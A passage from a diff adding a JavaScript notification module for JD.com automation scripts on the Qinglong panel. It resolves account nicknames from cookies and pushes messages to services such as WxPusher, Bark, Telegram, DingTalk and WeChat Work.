(TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + } + } + + $.nickName = $.nickName || $.UserName; + + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + + var Tempinfo = ""; + if (tempEnv.created) + Tempinfo = getQLinfo(cookie, tempEnv.created, tempEnv.timestamp, tempEnv.remarks); + else + if (tempEnv.updatedAt) + Tempinfo = getQLinfo(cookie, tempEnv.createdAt, tempEnv.updatedAt, tempEnv.remarks); + else + Tempinfo = getQLinfo(cookie, tempEnv.createdAt, tempEnv.timestamp, tempEnv.remarks); + + if (Tempinfo) { + Tempinfo = $.nickName + Tempinfo; + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), Tempinfo); + } + + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + } + if (UserRemark) { + text += " (" + UserRemark + ")"; + if(strsummary){ + strsummary="(" + UserRemark + ")"+strsummary; + } + } + + console.log("处理完成,开始发送通知..."); + desp = buildLastDesp(desp, author); + if (strAllNotify) { + desp = strAllNotify + "\n" + desp; + } + await wxpusherNotifyByOne(text, desp, strsummary); + } else { + console.log("未查询到用户的Uid,取消一对一通知发送..."); + } + } + } else { + console.log("变量WP_APP_TOKEN_ONE未配置WxPusher的appToken, 取消发送..."); + + } + } catch (error) { + console.error(error); + } + +} + +async function GetPtPin(text) { + try { + const TempList = text.split('- '); + if (TempList.length > 1) { + var strNickName = TempList[TempList.length - 1]; + var strPtPin = ""; + console.log(`捕获别名:` + strNickName); + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].nickName == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + if (TempCK[j].pt_pin == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + } + if (strPtPin) { + console.log(`反查PtPin成功:` + strPtPin); + return strPtPin; + } else { + console.log(`别名反查PtPin失败: 1.用户更改了别名 2.可能是新用户,别名缓存还没有。`); + return ""; + } + } + } else { + console.log(`标题格式无法捕获别名...`); + return ""; + } + } catch (error) { + console.error(error); + return ""; + } + +} + +async function isLoginByX1a0He(cookie) { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} + +function bncrNotify(text, desp) { + return new Promise(resolve => { + try { + if (BncrHost && BncrToken) { + const options = { + url: `${BncrHost}/api/qinglongMessage`, + body: `title=${encodeURIComponent(text)}&message=${encodeURIComponent( + desp + )}&token=${BncrToken}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + }; + $.post(options, (err, resp, data) => { + if (err) { + console.log('\nBncr发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('\nBncr发送通知消息成功🎉\n'); + } else { + console.log(`\nBncr发送通知调用API失败:${data.msg}\n`); + } + } + }); + } else { + resolve(); + } + } catch (e) { + $.logErr(`\nBncr发送通知调用API失败:`, e); + } finally { + resolve(); + } + }); +} + +function gotifyNotify(text, desp) { + return new Promise((resolve) => { + if (GOTIFY_URL && GOTIFY_TOKEN) { + const options = { + url: `${GOTIFY_URL}/message?token=${GOTIFY_TOKEN}`, + body: `title=${encodeURIComponent(text)}&message=${encodeURIComponent(desp)}&priority=${GOTIFY_PRIORITY}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('gotify发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.id) { + console.log('gotify发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function gobotNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (GOBOT_URL) { + const options = { + url: `${GOBOT_URL}?access_token=${GOBOT_TOKEN}&${GOBOT_QQ}`, + json: { + message: `${text}\n${desp}` + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送go-cqhttp通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.retcode === 0) { + console.log('go-cqhttp发送通知消息成功🎉\n'); + } else if (data.retcode === 100) { + console.log(`go-cqhttp发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`go-cqhttp发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function serverNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (SCKEY) { + //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + const options = { + url: SCKEY.includes('SCT') ? `https://sctapi.ftqq.com/${SCKEY}.send` : `https://sc.ftqq.com/${SCKEY}.send`, + body: `text=${text}&desp=${desp}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + //server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0) { + console.log('server酱发送通知消息成功🎉\n'); + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`server酱发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +/* function BarkNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (BARK_PUSH) { + const options = { + url: `${BARK_PUSH}/${encodeURIComponent(text)}/${encodeURIComponent( + desp + )}?sound=${BARK_SOUND}&group=${BARK_GROUP}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('Bark APP发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} */ + + +/* code from JoveYu */ +function BarkNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (BARK_PUSH) { + const options = { + url: `${BARK_PUSH}`, + json: { + title: text, + body: desp, + group: `${BARK_GROUP}`, + icon: `${BARK_ICON}`, + sound: `${BARK_SOUND}`, + }, + headers: { + 'Content-Type': 'application/json; charset=utf-8', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('Bark APP发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function tgBotNotify(text, desp) { + return new Promise(resolve => { + if (TG_BOT_TOKEN && TG_USER_ID) { + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + json: { + chat_id: `${TG_USER_ID}`, + text: `${text}\n\n${desp}`, + disable_web_page_preview: true + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout + } + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH + } + }) + } + Object.assign(options, { agent }) + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功🎉\n') + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n') + } else if (data.error_code === 401) { + console.log('Telegram bot token 填写错误。\n') + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + resolve() + } + }) +} + +function ddBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (DD_BOT_TOKEN && DD_BOT_SECRET) { + const crypto = require('crypto'); + const dateNow = Date.now(); + const hmac = crypto.createHmac('sha256', DD_BOT_SECRET); + hmac.update(`${dateNow}\n${DD_BOT_SECRET}`); + const result = encodeURIComponent(hmac.digest('base64')); + options.url = `${options.url}×tamp=${dateNow}&sign=${result}`; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else if (DD_BOT_TOKEN) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息完成。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function qywxBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (QYWX_KEY) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('企业微信发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('企业微信发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function buildLastDesp(desp, author = '') { + author = process.env.NOTIFY_AUTHOR || author; + if (process.env.NOTIFY_AUTHOR_BLANK || !author) { + return desp.trim(); + } else { + if (!author.match(/本通知 By/)) { + author = `\n\n本通知 By ${author}` + } + return desp.trim() + author + "\n通知时间: " + GetDateTime(new Date()); + } +} + +function ChangeUserId(desp) { + const QYWX_AM_AY = QYWX_AM.split(','); + if (QYWX_AM_AY[2]) { + const userIdTmp = QYWX_AM_AY[2].split('|'); + let userId = ''; + for (let i = 0; i < userIdTmp.length; i++) { + const count = '账号' + (i + 1); + const count2 = '签到号 ' + (i + 1); + if (desp.match(count2)) { + userId = userIdTmp[i]; + } + } + if (!userId) + userId = QYWX_AM_AY[2]; + return userId; + } else { + return '@all'; + } +} + +function qywxamNotify(text, desp, strsummary = "") { + return new Promise((resolve) => { + if (QYWX_AM) { + const QYWX_AM_AY = QYWX_AM.split(','); + const options_accesstoken = { + url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`, + json: { + corpid: `${QYWX_AM_AY[0]}`, + corpsecret: `${QYWX_AM_AY[1]}`, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options_accesstoken, (err, resp, data) => { + html = desp.replace(/\n/g, '
'); + html = `${html}`; + if (strsummary == "") { + strsummary = desp; + } + var json = JSON.parse(data); + accesstoken = json.access_token; + let options; + + switch (QYWX_AM_AY[4]) { + case '0': + options = { + msgtype: 'textcard', + textcard: { + title: `${text}`, + description: `${strsummary}`, + url: 'https://github.com/whyour/qinglong', + btntxt: '更多', + }, + }; + break; + + case '1': + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + break; + + default: + options = { + msgtype: 'mpnews', + mpnews: { + articles: [{ + title: `${text}`, + thumb_media_id: `${QYWX_AM_AY[4]}`, + author: `智能助手`, + content_source_url: ``, + content: `${html}`, + digest: `${strsummary}`, + },], + }, + }; + } + if (!QYWX_AM_AY[4]) { + //如不提供第四个参数,则默认进行文本消息类型推送 + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + } + options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accesstoken}`, + json: { + touser: `${ChangeUserId(desp)}`, + agentid: `${QYWX_AM_AY[3]}`, + safe: '0', + ...options, + }, + headers: { + 'Content-Type': 'application/json', + }, + }; + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); + } else { + resolve(); + } + }); +} + +function iGotNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (IGOT_PUSH_KEY) { + // 校验传入的IGOT_PUSH_KEY是否有效 + const IGOT_PUSH_KEY_REGX = new RegExp('^[a-zA-Z0-9]{24}$'); + if (!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) { + console.log('您所提供的IGOT_PUSH_KEY无效\n'); + resolve(); + return; + } + const options = { + url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`, + body: `title=${text}&content=${desp}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + if (typeof data === 'string') + data = JSON.parse(data); + if (data.ret === 0) { + console.log('iGot发送通知消息成功🎉\n'); + } else { + console.log(`iGot发送通知消息失败:${data.errMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function pushPlusNotify(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN) { + + //desp = `${desp}`; + + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER}`, + }; + const options = { + url: `https://www.pushplus.plus/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败:${data.msg}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function wxpusherNotifyByOne(text, desp, strsummary = "") { + return new Promise((resolve) => { + if (WP_APP_TOKEN_ONE) { + var WPURL = ""; + if (strsummary && strsummary.length > 96) { + strsummary = strsummary.substring(0, 95) + "..."; + } + let uids = []; + for (let i of WP_UIDS_ONE.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + + //desp = `${desp}`; + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + desp = `
+
+
+

+ ${text} +

+
+
+
+
+

+ 📢 +

+
+
+
+
+
+

+ ${desp} +

+
+
+
`; + + const body = { + appToken: `${WP_APP_TOKEN_ONE}`, + content: `${desp}`, + summary: `${strsummary}`, + contentType: 2, + topicIds: topicIds, + uids: uids, + url: `${WPURL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function wxpusherNotify(text, desp) { + return new Promise((resolve) => { + if (WP_APP_TOKEN) { + let uids = []; + for (let i of WP_UIDS.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + for (let i of WP_TOPICIDS.split(";")) { + if (i.length != 0) + topicIds.push(i); + }; + desp = `${text}\n\n${desp}`; + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + appToken: `${WP_APP_TOKEN}`, + content: `${text}\n\n${desp}`, + summary: `${text}`, + contentType: 2, + topicIds: topicIds, + uids: uids, + url: `${WP_URL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +function GetnickName() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.42", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} + +function GetnickName2() { + return new Promise(async (resolve) => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || ""; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +module.exports = { + sendNotify, + sendNotifybyWxPucher, + BARK_PUSH, +}; + +// prettier-ignore +function Env(t, s) { + return new (class { + constructor(t, s) { + (this.name = t), + (this.data = null), + (this.dataFile = 'box.dat'), + (this.logs = []), + (this.logSeparator = '\n'), + (this.startTime = new Date().getTime()), + Object.assign(this, s), + this.log('', `\ud83d\udd14${this.name}, \u5f00\u59cb!`); + } + isNode() { + return 'undefined' != typeof module && !!module.exports; + } + isQuanX() { + return 'undefined' != typeof $task; + } + isSurge() { + return 'undefined' != typeof $httpClient && 'undefined' == typeof $loon; + } + isLoon() { + return 'undefined' != typeof $loon; + } + getScript(t) { + return new Promise((s) => { + $.get({ + url: t + }, (t, e, i) => s(i)); + }); + } + runScript(t, s) { + return new Promise((e) => { + let i = this.getdata('@chavy_boxjs_userCfgs.httpapi'); + i = i ? i.replace(/\n/g, '').trim() : i; + let o = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout'); + (o = o ? 1 * o : 20), + (o = s && s.timeout ? s.timeout : o); + const [h, a] = i.split('@'), + r = { + url: `http://${a}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: 'cron', + timeout: o + }, + headers: { + 'X-Key': h, + Accept: '*/*' + }, + }; + $.post(r, (t, s, i) => e(i)); + }).catch((t) => this.logErr(t)); + } + loaddata() { + if (!this.isNode()) + return {}; { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + if (!e && !i) + return {}; { + const i = e ? t : s; + try { + return JSON.parse(this.fs.readFileSync(i)); + } catch (t) { + return {}; + } + } + } + } + writedata() { + if (this.isNode()) { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s), + o = JSON.stringify(this.data); + e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o); + } + } + lodash_get(t, s, e) { + const i = s.replace(/\[(\d+)\]/g, '.$1').split('.'); + let o = t; + for (const t of i) + if (((o = Object(o)[t]), void 0 === o)) + return e; + return o; + } + lodash_set(t, s, e) { + return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => (Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {})), t)[s[s.length - 1]] = e), t); + } + getdata(t) { + let s = this.getval(t); + if (/^@/.test(t)) { + const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), + o = e ? this.getval(e) : ''; + if (o) + try { + const t = JSON.parse(o); + s = t ? this.lodash_get(t, i, '') : s; + } catch (t) { + s = ''; + } + } + return s; + } + setdata(t, s) { + let e = !1; + if (/^@/.test(s)) { + const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), + h = this.getval(i), + a = i ? ('null' === h ? null : h || '{}') : '{}'; + try { + const s = JSON.parse(a); + this.lodash_set(s, o, t), + (e = this.setval(JSON.stringify(s), i)); + } catch (s) { + const h = {}; + this.lodash_set(h, o, t), + (e = this.setval(JSON.stringify(h), i)); + } + } else + e = $.setval(t, s); + return e; + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null; + } + setval(t, s) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null; + } + initGotEnv(t) { + (this.got = this.got ? this.got : require('got')), + (this.cktough = this.cktough ? this.cktough : require('tough-cookie')), + (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), + t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)); + } + get(t, s = () => { }) { + t.headers && (delete t.headers['Content-Type'], delete t.headers['Content-Length']), + this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }) : this.isQuanX() ? $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on('redirect', (t, s) => { + try { + const e = t.headers['set-cookie'].map(this.cktough.Cookie.parse).toString(); + this.ckjar.setCookieSync(e, null), + (s.cookieJar = this.ckjar); + } catch (t) { + this.logErr(t); + } + }).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t))); + } + post(t, s = () => { }) { + if ((t.body && t.headers && !t.headers['Content-Type'] && (t.headers['Content-Type'] = 'application/x-www-form-urlencoded'), delete t.headers['Content-Length'], this.isSurge() || this.isLoon())) + $httpClient.post(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }); + else if (this.isQuanX()) + (t.method = 'POST'), $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: e, + ...i + } = t; + this.got.post(e, i).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + } + } + time(t) { + let s = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + S: new Date().getMilliseconds(), + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length))); + for (let e in s) + new RegExp('(' + e + ')').test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ('00' + s[e]).substr(('' + s[e]).length))); + return t; + } + msg(s = t, e = '', i = '', o) { + const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : 'string' == typeof t ? this.isLoon() ? t : this.isQuanX() ? { + 'open-url': t + } + : void 0 : 'object' == typeof t && (t['open-url'] || t['media-url']) ? this.isLoon() ? t['open-url'] : this.isQuanX() ? t : void 0 : void 0; + $.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))), + this.logs.push('', '==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============='), + this.logs.push(s), + e && this.logs.push(e), + i && this.logs.push(i); + } + log(...t) { + t.length > 0 ? (this.logs = [...this.logs, ...t]) : console.log(this.logs.join(this.logSeparator)); + } + logErr(t, s) { + const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + e ? $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : $.log('', `\u2757\ufe0f${this.name}, 